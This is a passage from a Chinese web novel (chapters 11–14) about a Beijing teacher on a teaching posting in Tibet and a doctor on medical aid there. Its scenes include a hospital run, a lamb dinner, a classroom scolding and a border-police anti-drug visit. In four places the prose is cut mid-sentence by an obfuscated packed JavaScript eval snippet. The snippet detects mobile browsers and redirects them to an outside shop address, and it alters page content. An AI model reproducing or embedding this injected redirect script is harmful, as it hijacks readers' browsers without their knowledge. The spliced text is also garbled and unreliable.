许南珩猜了个大概,达瓦老师说了他父亲腿脚不好,这会儿老爷子拄着根棍子在坡上那儿忙活着什么,达瓦老师大约是怕他摔着磕着,火急火燎地狂奔过去。 果然,达瓦江措一把攥住他父亲的胳膊,又急又委屈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许南珩寻思了一下,问他:“达瓦老师,您从县城开车回来的吗?” “我没有车,上回接应你,是开的我们教导主任的车,我这趟是坐拖拉机回来的。”达瓦江措无奈道。 “不成啊,拖拉机太颠了。”许南珩不懂医,但他懂得求医得往上级地区求。不然怎么光是上北京来看病的就日均大几十万人外地人。 他想,老爷子疼得已经脸发白了,怎么也得带去县城看。许南珩抬头:“这样,您在这儿等我,我把我车开过来,咱一块把叔叔送去县城。” 达瓦江措这时候跟他客气也没意义了,直点头:“那拜托你了!” 许南珩点头,将包放在地上,扭头跑向村庄侧边的小医院。不过十来分钟,许南珩开车到这条坡道上,他和达瓦江措小心翼翼地把老爷子扶上后座,给他系上安全带。 又是这条二十多公里的山路,跟着导航到县里的医院时已经暮色四合。这时间门诊已经结束了,许南珩直接停在急诊。 达瓦江措想把老爷子扶下来的时候,许南珩阻止了他:“别动他,进去找护士推个床出来吧,或者轮椅。” “哦对哦对!”达瓦江措赶紧跟着许南珩一块儿往里跑。护士听说是骨折患者又摔跤,应了声,推了个空床出来。 达瓦江措连连叹气,说今天实在是折腾了许老师一番,又道歉又道谢。许南珩笑着说没事儿,谎称自己本来就打算周末来县城溜达溜达。 达瓦江措这才好点儿,接着说:“对了,方医生也在这个医院。” “是吗?”许南珩问。 下一刻,许南珩的电话响了,他拿出手机一看,看着来电人,有点呆。见他来电话,达瓦江措指了指里面诊室,说自己先去看他父亲,许南珩摆摆手让他赶紧去。 再低头,许南珩还是有点怔愣。 这么巧的吗?打电话进来的人,正是方识攸。 “喂,方大夫。”许南珩接起来。 电话那边的人带着笑意:“许老师,车挡路了,出来挪挪。” “嗳好嘞。”许南珩说。 11. 第 11 章 许南珩推开急诊厅的玻璃门,走出没几步就看见方识攸站在他车旁边。 他车里没摆挪车号码,方识攸是看车牌照认出来的,不过小县城里这种三百多万的车也很少见就是了。 “方大夫。”许南珩走过来,“不好意思啊。” 方识攸迎着他走过来,脸上挂着淡淡的笑意。其实刚开始在急诊门口看见他车的时候,方识攸紧张了一下,以为许南珩出什么事儿了来急诊,转念一想,既然还能自己开车,那应该没事,才给他打了个电话过去。 “没事,主要这边是救护车通道。” “噢!”许南珩加快脚步,拉开车门,说,“其实你自己也能挪,车钥匙就在车里呢。” 许南珩爬上车,把车停去医院院子里的空车位上,然后熄火下车锁车。方识攸俩手揣在白大褂的兜里,在停车区前边看着他倒车。 走近了后方识攸才问他:“你怎么跑急诊来了?没哪儿不舒服吧?” 许南珩看着生龙活虎,穿一件酷到不行的纯黑色连帽卫衣和牛仔裤,还压了个鸭舌帽,让人下意识地将视觉重心放在他的下半张脸。 线条流畅的下颌,棱角恰到好处的嘴唇,喉结在漂亮的脖颈上压出一个冷冽的倒三角阴影。 “没,不是我。”许南珩手也揣在口袋里,日落后气温降了许多,有点冷,“是达瓦老师的父亲,下午在家门口的路上摔了一跤,我刚好在村里溜达,就赶紧送来了。” 方识攸一听,快速回忆了一下:“啊,老爷子前不久放牧的时候骨折了,送进去了吗?” “嗯,给推进去了。”许南珩说。 方识攸是心外科的大夫,达瓦江措他爸爸归骨科科室。方识攸朝急诊里面望了一眼,说:“喔,行,你呢?天都黑了,有地儿去吗?” “我就回去了。”许南珩说,“作业还没改完呢。” 刚好起了阵风,许南珩松垮的卫衣被吹得贴在皮肤上,勾出他劲瘦的腰部线条。方识攸看了一眼,迅速挪开视线,清了清嗓子。 “你呢你忙完了吗?”许南珩问,“要不要一块吃个饭啊,我从睁眼到现在还没吃东西呢。” 闻言,方识攸愣了下,然后说:“空腹一天了啊?” “啊。”许南珩点头,“路上不敢开太快,怕给老爷子再颠着,我要饿傻了。” 方识攸一笑:“行,我进去换下衣服,你……你跟我一块吧,进来。” 许南珩不推脱,抬脚跟上。 俩人从夜间门口的入口进去,有病患在大厅的椅子上闭眼靠着,夜间B超室的门虚掩着,有人从门缝往里看,然后护士嘭地将门关严。 方识攸走在前面,拐过走廊,上到二楼。许南珩以为是去诊室,但门推开,里面是医生休息室。房间蛮小的,一组上下铺的床,一把椅子和简易的,没有抽屉的书桌。 方识攸的几件外套挂在上铺床尾边缘的围栏上,许南珩抬眼看了看,上铺摆满了杂物,所以这个休息室应该是方识攸一个人用。 方识攸拿了个一次性纸杯,地上的开水壶拎起来倒了杯热水给他:“你坐一下,喝点水,我去输液室看一圈,然后就能走了。” “嗯。”许南珩接过来水杯,坐下来。 休息室里堆了不少东西,地上放了个挺大的防水书包,书桌上有个合起来的笔记本电脑,许南珩坐在椅子上,侧边就是方识攸的床。 他在床上看见了个……眼熟的东西,哆啦A梦毛毯。一时间许南珩忽然觉得这大夫还挺可爱,原来这条毛毯是私人物品,而且,随身携带。 坐了会儿,意识到自己还戴着帽子,他摘了帽子用前置摄像头看看自己头发。 “嘶。” 许老师倒抽了一口凉气,帽子压了太久,刘海儿一条一缕扭曲得实在……不好看,帽子又戴回去了。 不多时,休息室门从外面打开,方识攸先敲了两下门才推开的。 “不耽误你吧?”许南珩放下杯子站起来。 方识攸边脱白大褂边说:“不耽误,我今天在急诊值大夜,八点前回来就行。” “挺辛苦。” “都这样。”方识攸拿了件深藏蓝色的外套,“走吧,带你吃个烤肉去。” 许南珩眼睛一亮:“好啊!” 尽管是小县城,医院总还是人多,从夜间门诊走向医院大门的时候,一辆救护车闪着警灯开去急诊。许南珩跟在方识攸旁边,冷风吹得他瑟缩着脖子。 方识攸偏头看他:“晚上还是有点冷的。” “嗯。”许南珩点头,“温差蛮大,哎咱不开车吗?” 方识攸摇头:“近,就两条街。” “挺好的。”许南珩感叹,“北京就太大了,村里来县城,放北京也就大兴到海淀。” 县城晚上很温馨,小超市的电视机里淌着天气预报的声音,再向前走,粮食铺子合着门帘,里面是一家人在念经。 许南珩抬头,星星很多,帽檐有些挡视线,抬了抬。 “帽子摘了呗。”方识攸说。 “不摘,发型太乱,有碍观瞻。” 方识攸噗地笑了下,走过一个红绿灯后,这条街很明显热闹了很多。唰啦啦的铁锅烧菜的声儿和炭火烧烤的吆喝声,方识攸带他进了个烤肉店。 一进店门许南珩就下意识吞咽了下:“哇好香啊。” 不同于许南珩从前吃的烤肉店,进来之后并非辛香料的烧烤味,而是纯粹的,炙烤的肉香。 服务员领着他们走去空位,许南珩看着其他桌上,那羊肉在碳火上挂着,一滴晶亮的油落进火里,窣啦一下。紧接着,迸出油脂燃烧的香味,高温下,羊肉的皮会在瞬间被灼烤得焦酥,直到方识攸发现后边的人没跟上,退回来捞起他手臂拽走,他才恍然回神,刚刚盯着别人的餐桌实在是不礼貌。 “饿成这样了?”坐下后,方识攸问。 “太香了主要。”许南珩说,“给我香迷糊了,是羊的品种不一样吗?感觉这儿的羊肉香得有点过分。” 方识攸笑笑,给他倒上水,然后服务员来点单。方识攸刚想把菜单挪到他面前,许南珩已经抬起手做了个制止的动作:“你点,我不挑食,没忌口。” 方识攸道好,点了个三斤半的羊腿、蔬菜,一壶甜茶和两份抓饭。许南珩这会儿只想赶紧吃上,他是真饿了,之前其实还好,注意力被转移了,这会儿在烤肉店里满屋子喷香的味儿。 “你在这边教多久?”方识攸先开口问。 “一年。”许南珩说,“带一年初三,我们这次是北京多所高中一次大规模的,贫困地区的校对校定向支教。” 方识攸听着点着头:“之前来西藏支教的,很多都是大学生。” “啊对。”许南珩说,“其实在职教师支教每年都有,可能你之前没碰上。” 服务员把甜茶先拎来了,是个银色的开水壶。许南珩想自己倒,方识攸手快一步拿过了他杯子。 “嗳谢谢方大夫。”许南珩笑着端过来抿了一口。甜茶有点像奶茶店里什么都不加的纯奶茶,但口感上更丝滑,奶味更醇厚,许南珩挺喜欢。 说了下自己的情况,许南珩对他其实蛮好奇,问道:“你呢,在这边援藏多久?” 方识攸放下茶杯:“两年援藏,第一年快结束了。” “巧了,你也一年呗。” “嗯,但和你们支教不一样,你那儿时间到了孩子就毕业,我这儿患者不是到了时间就能痊愈的,到时候还要看具体情况。” 许南珩觉得有道理:“确实。” “哎,”许南珩想起来个事儿,“你们医疗援藏是怎么来的?自愿报名吗,还是什么?” “算……算自愿吧。”方识攸抿了下唇,“每个院的章程不一样,我们是援藏医疗队,我老师是援藏队的队长,这趟除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727264|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我们科室,还来了胆囊外科、急诊科和麻醉科,和一个护理小组。是院里发了个援藏计划,拉了表格,有意向的就报名,报名然后体检、全科培训,最后考核。” “本质上跟我们差不多呀。”许南珩又喝了一口,“你是心胸外科?” “嗯。” “达瓦老师父亲那个骨折你也能看吗?” 方识攸笑起来:“来这儿了就不分那么细了,外科都看。有一回下乡义诊,儿科也硬着头皮看,边看边给北京本院的大夫打视频电话。” 许南珩笑起来:“那儿科大夫岂不是援助援藏医疗。” 方识攸跟着笑:“你这么说,很有道理。” 方识攸又说:“但没办法,藏南这边的乡村差不多都是青壮年外出务工,家里老人小孩,很多没什么医疗常识,而且他们的村里有藏医,藏医就比较……呃……” 方识攸有点找不出得体的词儿。 许南珩说:“就无证行医呗。” “对。”方识攸点头,“也不能一杆子打死,有些草药确实能达到治疗效果,但更多的临床表现还是需要医生来看。” “嗯。”许南珩点头,然后忽然想起了什么,胳膊撑在餐桌上,笑嘻嘻地问他,“嗳,那你这回去能升职吗?” 被他这么一问,方识攸又想起年初回院里的时候,主任的暗示。援藏的经验对升职确实有帮助,不过方识攸这个人有时候有点儿轴,他就想在医院里当个普通大夫,做手术,坐门诊。医院到底是职场,职场就需要交际打点,方识攸不喜欢。 头衔是主治医师还是副主任医师,他其实不太在乎。当然,能升更好,只是方识攸觉得,他已经做到了他学医最初始的、最本心的目的,就够了。 他是一个更愿意面向自己的人,方识攸的世界就是做到一件事情,然后把这件事情完完满满地做好。 “是一个升职评估项。”方识攸问,“你呢?许老师。” “哎小心烫!”服务员端来他们那个三斤半的烤羊腿,“向后靠一靠,小心啊!” 藏区的羊肉味道果真不同,许南珩已经被完全吸引走注意力,两只眼睛凝视着烤羊腿。服务员又接着把他们点的蔬菜多拼端上来,最后放了两盘蘸肉的干料在俩人面前。 “许老师不用升职,许老师吃这一口就够了。”许南珩拿起筷子,说,“方大夫我不客气了,我真的饿惨了。” 方识攸见他这样,也不聊其他的了,抓起筷子说:“快吃吧,多吃点儿,别浪费。” “那不能够。”许南珩说。 纵然饿成这样,许南珩的吃相还是挺好的,看得出来有着不错的教养。吃了几大块羊腿肉后,许南珩赞不绝口,一口一句“这也太好吃了”和“这辈子没吃过这么好吃的烤肉”,听得路过的服务员都笑。 这顿饭许南珩准备付钱的,没抢过方识攸,他还在找付款码贴哪儿的时候,方识攸已经扫完了。主要收银台就坐了个写作业的小屁孩儿,二维码贴在很有民族特色的花纹繁美的挂毯上,许南珩愣是没发现。 “下顿我请。”出来的时候许南珩说。 “行。”方识攸没客气。 天已经全暗了,许南珩掏出烟盒,磕了根递给他。方识攸接过来烟,转而递给他火机。 看见火机,许南珩笑了下,他们就是因为一根烟一个火机而结识。许南珩带火了,但还是接了方识攸的火机。 他拢着火机点上烟,火机还给方识攸。 “你今晚住我这儿吧。”方识攸吸了口烟,夹下来,看着他,“天黑了,开山路危险。” 许南珩这会儿卫衣鸭舌帽,咬着烟嘴看着他,像个痞里痞气的大学生。又因为鸭舌帽的帽檐,方识攸看不见他的眼神。 “其实我车技还可以。”许南珩的眉眼藏在帽檐阴影里,笑得没心没肺。 方识攸脱口而出:“其实是我不放心。” 12. 第 12 章 这话说的,许南珩咬着烟,半晌没动。 那烟尾就这么自己在夜风里烧着,许南珩都忘了抽两口。 这话完全可以理解成朋友之间的关心,尤其方识攸年长几岁,且在这里生活了将近一年。 “我……”许南珩意识到自己不能再沉默下去了,太诡异了,“我还是回去吧,真没事儿,我到了给你发消息。” 许南珩抽了一口,夹下来,笑笑:“行不,方大夫,我保证小心谨慎地慢慢开。” 人行道上,马路边,骑三轮车的师傅哼着歌悠悠地过去。许南珩这话说得,活像是方识攸家里有个不懂事的弟弟,非要大半夜出去玩,恨不得仨手指头指天立誓,说哥哥你就让我出去吧,我保证早早回来。 他还龇牙朝着方识攸笑,吊儿郎当的,更像了。 方识攸刚刚那句不放心是真心实意,约莫是这时候许南珩的话让他幻视了不听话的病患。 二人并排往县医院方向走着,方识攸蹙眉:“西藏山路经常塌方,去村庄的那条路你自己也跑过几趟了,等天亮了回去不好吗?” “方大夫。”许南珩舔舔嘴唇,“我明白你是好意,但我真得回去,我今天起晚了,一堆作业没改,明天早上有个支教岗线上会议,开会要出卷子,下周支教岗统一摸底考。” 许南珩知好歹也听劝,譬如餐厅老板劝他喝甜茶别喝酥油茶,譬如进县城买垫褥那天方识攸要带上氧气瓶。 可一旦关系到教学,许南珩就管不了那么多。理论上来讲,海拔每提升1000米,气温就下降6摄氏度,这里的海拔有4000,日落后尤其的冷。 许南珩在树下的垃圾桶灭掉烟,冷得肩膀缩了缩,有点不敢看方识攸。 许南珩又跟着解释:“你别多想啊,我倒是想在你这睡呢,你这医院一看就有淋浴,我洗个澡睡觉,明儿穿你一套衣服走,回头还能觍着脸让你把我脏衣服塞医院洗衣机里。但是真不成,第一次摸底考很重要,决定了这一年用什么样的教学方式。” 过了十字路口,方识攸才说:“那你开车慢点,出状况了随时联系我。” “好!”许南珩笑着点头。 走回医院的时候是七点过一刻钟,许南珩径直往自己车那儿走,方识攸忽然想起件事儿,叫住他。 “许老师。” “嗳。” “那个,”方识攸叫住之后又顿了下,“我……” “嗯?” “我给你买了个东西。”方识攸说完抿了抿嘴,视线有些闪躲,“算是个,礼物吧。” 许南珩诧异住了,歪头:“啊?” 他心道这不逢年不过节,也不是自己生日,便问:“你、你给我买东西做什么呀?是什么呀?” 无论如何听见有礼物还是挺开心的,以前在北京,许南珩听说别人要送什么礼物给自己,都会下意识地一慌——可别是来托我找我家里办事的。 但在方大夫这儿不存在这种情况,于是他诧异之余还很期待。 方识攸的车也停在院子里,他走到车旁边,掏钥匙开锁,从他车副驾驶地上拎出来一个不大不小的纸箱子。 “之前去山南市区买的,一个无影台灯。”方识攸递给他,“你宿舍里应该只有一个白炽灯来着。” 许南珩一听是台灯,惊喜万分,把帽檐又往上推了下,两只手抱过纸箱:“台灯?被你这么一说我才反应过来。” 很多时候是这样的,进到一个新环境,细枝末节注意不到。这一个礼拜都没发现桌上少个台灯,许南珩又说:“还得是你啊方大夫,太谢谢了。” 方识攸倒是挺淡定的,说:“没事,上次去县城市场的时候就该买的,啊还有这个。” 方识攸扭头又从自己车上拿了罐咖啡:“路上喝。” “嗯。”许南珩又道了句谢。 他大大方方的,是因为他真的拿方识攸当朋友了。许南珩很不喜欢与朋友交往的时候一笔笔账算在脑门上,今儿他送了什么,明儿我得还一个什么。 “行了你回吧。”方识攸说,“注意安全。” “好嘞。”许南珩笑得很爽快,没跟他煽情些什么。朋友之间送一个贴心的礼物,说一遍谢谢就够了。 西藏的天气多变,山路塌方事件时有发生。所以来西藏的话,如果觉得自己命够硬,车里甚至可以不背着氧气瓶,但一定得备上吃喝。 因为这儿的山路多是窄路,塌方等救援很有可能一等就是几个钟头。许南珩倒是刚吃饱,在烤肉店也喝了不少甜茶,就算倒霉在路上呆一夜也饿不着,方识攸给他罐咖啡提神,以防吃得太饱而犯困。 谢谢说一遍就够了,叮嘱的话也一样。 方识攸看着大G慢慢开出医院后,转身进去急诊。 许老师的车技确实还可以,不过在高海拔地区崎岖的山路上,许老师很稳妥地放慢了车速,在每个转弯的路口闪远光并且鸣笛。耗时三个半小时安全回到村庄,把车停回医院里方识攸的车位,然后给他发了个微信。 [又停你车位上了。] [好。] 台灯插上电后,果真书写环境好了一大截。许南珩退后两步,给书桌和台灯合影,他拍照没技巧,画面里就是灰得发黑的墙,书桌椅子比较新,无影台灯更是崭新。又因为台灯亮着,成为画面里最亮的部分,环境被摄像头平衡得比较暗,甚至有点像油画。 许南珩把这张照片设为了朋友圈背景图,很满意,接着坐回去改作业。 第二天早上的支教岗联合会议在十点整开始。 到今天,差不多支教岗都开始上课,有的九月开学的,也已经到岗了。不同于大学生志愿支教,这种校对校的,对贫困地区的专项支教有着比较系统化的章程。 位于山南市下属村庄的许南珩老师卡成了PPT。 位于大凉山川滇交界处的谭奚老师已经掉线了第三次。 位于福建省东南山区的戴纪绵老师只有图像没有声音。 更别提还有一位苏雨老师,她今天清晨刚刚抵达塔里木盆地西部边缘,方才仅是切换了一下前置摄像头,就黑了屏。 总而言之大家一番折腾后,决定线上会议改文字群聊。 最终第一次摸底以初一初二的重点为核心,全科试卷的PDF上传到了群文件,一切搞定后,大家在群里闲聊了。 [许南珩:谭老师不是说家里装了新路由器吗,怎么卡掉三次?] [谭奚:可别提了,我回来了才知道舅爷舅奶家已经搬去县里,支教岗在村里。] 许南珩了然,这是跟自己一个情况。几位老师闲聊了会儿,先后下线,因为不能占着网速,要赶紧把PDF下载下来然后打印卷子。 周日下午,索朗措姆和次仁老师回来了,俩人是骑三轮摩托回来的,车斗里装了很多菜和肉,索朗措姆的女儿扎西卓嘎也在车斗里,小小的姑娘护着那些菜,防止它们颠下去。车里还有次仁老师的行李,这礼拜起,次仁老师也来住校了。 次仁老师教英语和语文,一位藏族大哥,比许南珩大几岁。次仁老师笑眯眯地和许南珩边把菜搬去厨房,边说:“我过来住了,你就不孤单啦!” 老师们在厨房忙活起来,许南珩也揣起手机一块帮忙。 忙活的时候也闲聊。索朗措姆告诉许南珩,周末的时候孩子们多会去跟着家里人放牧,挖虫草,割青稞。许南珩听着,回忆起昨天去村里溜达,难怪没看见孩子。 周一大家正常上课,许南珩通知了考试的事情。这是第二个礼拜,有几个学生已经端不住了,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727265|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪贪玩的劲儿隐隐要破土而出。 而许南珩,从一开始就没有给自己做成爱心老师的形象。 周四这天,他扯着嗓子在讲配方法,把一元二次降成两个一元一次的时候,底下俩小子搁最后一排,用纸折了俩青蛙,互斗呢。 许南珩使出了人民教师的官方外挂——粉笔砸人·百发百中! “给我站起来!”许南珩声音不大,气场十足,“站后边去!” 俩人悻悻地离开座位往最后面走,其中一个小子就是这班里年纪最大的周洋。17周岁不好管教,他吊儿郎当地往墙上一靠。 许南珩一眼看了出来:“别给我靠着,站直了!” 周洋虽然是汉人,但在这儿出生长大,会说藏语。他瞥着许南珩,嘟囔了一句他听不懂的藏语,大约不是什么好话,班里有些学生在笑,有些学生则觉得尴尬,有些担忧地看着许南珩,像极了网上与自己同IP的智障在发言,心道可别给我丢人了。 而许南珩只哼笑了声,说:“你学了藏语,我没学,所以你能用藏语让我吃瘪,那其实你是明白人总要学点什么的。” 那周洋没所谓地挑挑眉,不轻不重地说:“我不学,还可以出去打工啊。” 许南珩差点一口老血哽在喉头,他高低要找个月黑风高的日子潜进村里把那个“念完初中再打工”的横幅给撕下来烧了。 这是许南珩到西藏后发的第一次火。 他把教材狠狠往讲台上一砸:“行,打工是吧,我来花三分钟给你们讲一个道理。” 许南珩:“一命二运三风水,四积阴德五读书。命,是天命,看老天脸色的,出生在什么样的家庭,拥有什么样的环境,是命;运,气运,机遇,极小概率事件;风水阴德那是玄学,姑且按下不表。当你没有天命,没有机遇的时候,你能做的就剩下读书!” 有些孩子闭了闭眼,有些孩子神色焦虑。 事实上许南珩并不想这么早说这些话,这些话说出来除了给压力没什么其他意义,但临到现在不得不说了。 “读书确实不是唯一的出路。”许南珩放低了些音量,“但读书,是千百年来经过时间、无数前人验证过的,完全值得的,也是门槛最低、最简单的一条路——你只需要把手里的书读明白就行了!” “你甚至不用考去北京那种地方,你考去山南市,考去拉萨就行,最起码……同学们,最起码,打工的时候,你要能看得明白对方拿出来的合同吧,你要能懂点儿英语,说不定薪酬会更高吧。” 许南珩深吸一口气,吐出来,说,“打工不是不行,只要是正当行业,劳动换取报酬是完全正确的,但是同学们,条件允许的情况下,多读书吧,书不会欺骗你,知识永远真诚。” 教室里安静得落针可闻,一干十几岁的孩子大气不敢出,后边周洋和另一个小子面颊通红。 打破宁静的是年纪最小的扎西卓嘎,她坐在靠窗的位置,俩大眼睛看向许南珩,说:“许老师,警察来了!” 许南珩一惊,扭头看出去。还真是,一行五六个警察,院门口停了两辆警车,警笛没响,但警灯是亮着的。 许南珩不知道发生了什么,但警察们确实是朝着他教室走过来。不解之际,又一行人进来了学校院子,这拨人也是五六个,但都是白大褂。 不知怎的,看见白大褂他安心了些。许南珩放下教材走出来,后面那拨白大褂里有一个人走在最前边,正是方识攸。 许南珩见着熟人,赶紧投去求援的目光。方识攸倒是没意外,他本来就知道许南珩在这儿教书。 方识攸先一步走到他旁边。 许南珩瞄了眼那些警察,压低声音问:“我就训了个孩子,这事儿在西藏这么严重吗?” 方识攸:“嗯?” 13. 第 13 章 方识攸反应了一下,接着差点笑出来,说:“你想什么呢,怎么可能。” 说完,在教室前廊停下来说话的几个警察,两个走向旁边次仁老师的教室,另外两个朝许南珩走过来。 许南珩下意识站直了,警察跟他握了下手,简单说明了来意。 “您好老师,我们是边防的,前阵子国境线缴获一批携带毒品非法偷渡的罪犯,我们过来给学生做禁毒宣传。”警察说。 许南珩:“原来如此,您请。” “一块儿听听。”方识攸说。 许南珩确实打算一块听,忽然扭头看他:“不过,为什么还这么多大夫?” 许南珩瞧见了杨郜,头一天过来的时候见过,朝他挥挥手打招呼。 “出来义诊。”方识攸说,“院里车不够,我的车被借去开到藏北那边了,正好警车下乡,每个村都去,我们蹭车的。” “喔。”许南珩点点头。 云南边防的强度对毒贩有相当重的打击,然而作恶多端的毒贩居然摸索着从印度跨境进入藏南国境线,许南珩生活在北京,这些事情都是从新闻上看见,头一回置身其中。 他有点紧张,但这份紧张是因为教室后面有俩小子被罚站。 或许是在北京的时候,老师对学生凶狠些就有家长写小作文,动辄反思这个社会,继而引申到当代学生的抑郁情绪究竟受几方影响。然而警察进去教室后,连一个眼神都没给,直接开始发宣传手册,同学们一个个传下去。 许南珩也拿到了一份,认真地看着。 边境地区的禁毒宣传册和内陆城市的不太一样,有点像许南珩小时候看的禁毒宣传,一些毒品的照片,吸毒人员扭曲的模样,不正规注射、共用针头感染的病症等等。 大约是看见了警车,在三楼教师办公室里的另外两个老师和索朗措姆校长也都下楼来了。老师们和校长对警察的到访不是很意外,索朗措姆先去了次仁老师的教室看了一眼,然后来的2班许南珩这儿。 她先跟方识攸点头打了声招呼,然后朝教室里看了眼,确认许南珩没被吓着,温和地点了点头。 警察在两个教室里做完禁毒宣传后,照例在教学楼里巡视了一圈,最后把许南珩叫来了学校前院的空地。 原因无他,许南珩是外来人口。 而索朗措姆似乎预料到了,在下楼前就带上了许南珩的支教材料副本,交给警察过目。 “许老师是北京高中过来做校对校支教的。”索朗措姆说,“泽旺警官,这次是怎么啦?” 泽旺警官接过材料翻看着,说:“哎呀,边境线那边出了点乱子,哎?许老师没有从北京过来的车票?” 说完,泽旺警官抬眼看向许南珩。许南珩心下一紧,解释道:“我自己开车过来的。” “从北京?”泽旺警官看着他。 “对。”许南珩点头,他摸了下兜,说,“要不我上楼拿一下身份证?我还有一路开过来过收费站的收据。” 泽旺警官笑了下,说:“那麻烦了,您拿一下吧。” 方识攸意识到泽旺警官对许南珩有点戒备,他欲言又止,心怀戒备本来就是警察该做的,尤其在禁毒工作上,就更需要万无一失。 许南珩很快地下来了,带着身份证和边防证。泽旺警官接过来检查了一下,又问:“有高速过路费的收据吗?” “有的,都在车里。”许南珩说。 许南珩和泽旺警官两两对视了片刻。方识攸清了下嗓子,说:“你车在医院。” “哦对!”许南珩恍然,“车在医院!” 这厢大约是这辈子头一回被警察问话,方识攸很平静地看着他,试图让他也平静下来,这是他坐门诊的时候惯用的招数,只有医生自己平静,患者才能觉得这事儿没什么大不了。 果然,许南珩确实有点慌,虽然他深知自己没什么好慌的。 他拜托索朗措姆帮忙看着班级,跟在一行警官和医生后面。刚巧医生们也要去趟小医院,带上一些药物。 “你别紧张啊。”方识攸说。 他走在方识攸旁边,肩膀挨着方识攸的肩膀走路。他小声说:“这良民对警察最基本的态度,我不是紧张,是行事认真。” “可是你快把我挤到路那头了。” “喔不好意思。”许南珩说。 “没事的,泽旺警官只是按规章办事,边境这里属于敏感地带。”方识攸说。 许南珩点头:“我理解的。” 跟在泽旺警官后面的警察从警车里拿了扫脸的仪器,很快走到医院里,大院停车位空出来很多,就像方识攸说的,医院的车辆资源很紧缺。而且又因为西藏村庄县城之间的路很难行,车底盘低了跑不了,许南珩这会儿感觉方识攸那辆皮卡真的太适合在这儿跑了。 ——以及他的奔驰大G。 泽旺警官看见他车的时候眼睛明显亮了一下,这种越野就该浑身泥沙,而且许南珩这一路开过来车身有不少剐蹭,搭配这车的外观,颇为彪悍。 许南珩在车里翻出来好几张过路费的收据,说:“好像不全,路上太颠了,有的不知道颠哪儿去了。” 泽旺警官先用手机里的系统查了下他的车牌,又招手叫来后面的警察,给许南珩扫了个脸,核对他身份证,全部确认了之后,泽旺警官终于表情放松了下来,说:“不好意思啊老师,耽误您上课了。” “不不,”许南珩摆手,“没事的,配合您工作,我应该的,还需要做什么检查吗?我都可以。” 泽旺警官:“……” 方识攸:“……” 原本事情到这儿已经结束了,可许南珩这位北京来的良民秉承着绝对配合的信念,主动提出毒检。而一般来讲,是警方觉得此人有嫌疑,才会要求对方毒检。这一轮排查下来,许南珩资料充足,其实泽旺警官已经准备收拾收拾去下一个村了。 但他这么一说…… 泽旺警官看向另一位同事,俩人电光石火地一番眼神交流后,泽旺警官扭头看许南珩:“呃,你愿意接受尿检的话,那就……做一个?” “可以啊。”许南珩连连点头。他哪儿懂,他打小接受的教育就是国家禁毒,在禁毒事件上全力配合。 尿检很快,许南珩跟在泽旺警官身后,进了小医院的卫生间。许南珩这厢刚解开皮带,卫生间又走进来一个人,许南珩咻地把皮带又戳回去了:“方大夫。” 方识攸带着样本杯进来的,见他已经准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这么多啊。”一个警察走过来看他们医生装了三大包药,“后备箱里有东西,未必放得下诶。” 一位医生说:“那我们抱着。” 警察想了想:“抱6个小时呐?” “6小时就6小时吧。”方识攸说,“咱们轮流抱,没事儿。” “开我车呗。”许南珩说,“我这阵子用不着车。” 方识攸偏头看看他,又看看奔驰,说实话方识攸是有点舍不得的。三百多万,2022款奔驰G去跑山野土路,刮一截儿漆方识攸都觉得可惜。 而许南珩似乎看懂了方识攸的眼神,掏出车钥匙,说:“奔驰当年做G级越野车,是打算军用,就是为了跋山涉水,没成想订购G级的伊朗王室内部出了岔子,新王室不认这桩买卖,G级越野车才流向民用车市场。” 许南珩把车钥匙递到他手里:“就当帮我遛遛狗,随便开。” 方识攸接过钥匙:“你台词说的,我都不知道该叫你许老师还是叫你许总。” “随便叫。”许南珩潇洒一笑,“爱叫什么叫什么。” 14. 第 14 章 这礼拜就剩两天了,周五下午许南珩布置完作业,和各科老师们以及校长开了个会。 由于学校里没有投影仪,许南珩只能把他的笔记本给老师们传阅一下,让老师们看看北京本校针对支教岗的摸底考试试卷。 老师们看完试卷,起先觉得试卷难度有点高,但一番讨论后还是决定就考这一套。接下来许南珩又转述了一些和其他支教岗老师讨论的内容。 开会的地方是教师办公室,两张办公桌并在一块儿,好让老师们坐一圈。 许南珩说:“最后一点是,我们这次支教岗老师们反馈了一个统一的问题,就是学生基础太差,那么在初三阶段补基础需要太多时间,需要大量的习题和大量的背诵。但我们一致认为,可以采用高三艺术生补文化课的方式,在支教岗教初三。” 次仁老师看着他:“艺术生补文化课?你的意思是在初三这一年,把初一初二的也带着一起教?” “艺术生补文化课,”许南珩笃定地看着他,“只为了文化课高考。所以不是带着一起重新教一遍,而是针对性的去对付考试。” 这话说出来其实有点过分了,因为初中的教材不仅是知识点,还有许多塑造学生三观的内容,甚至生理卫生课也是必要的。 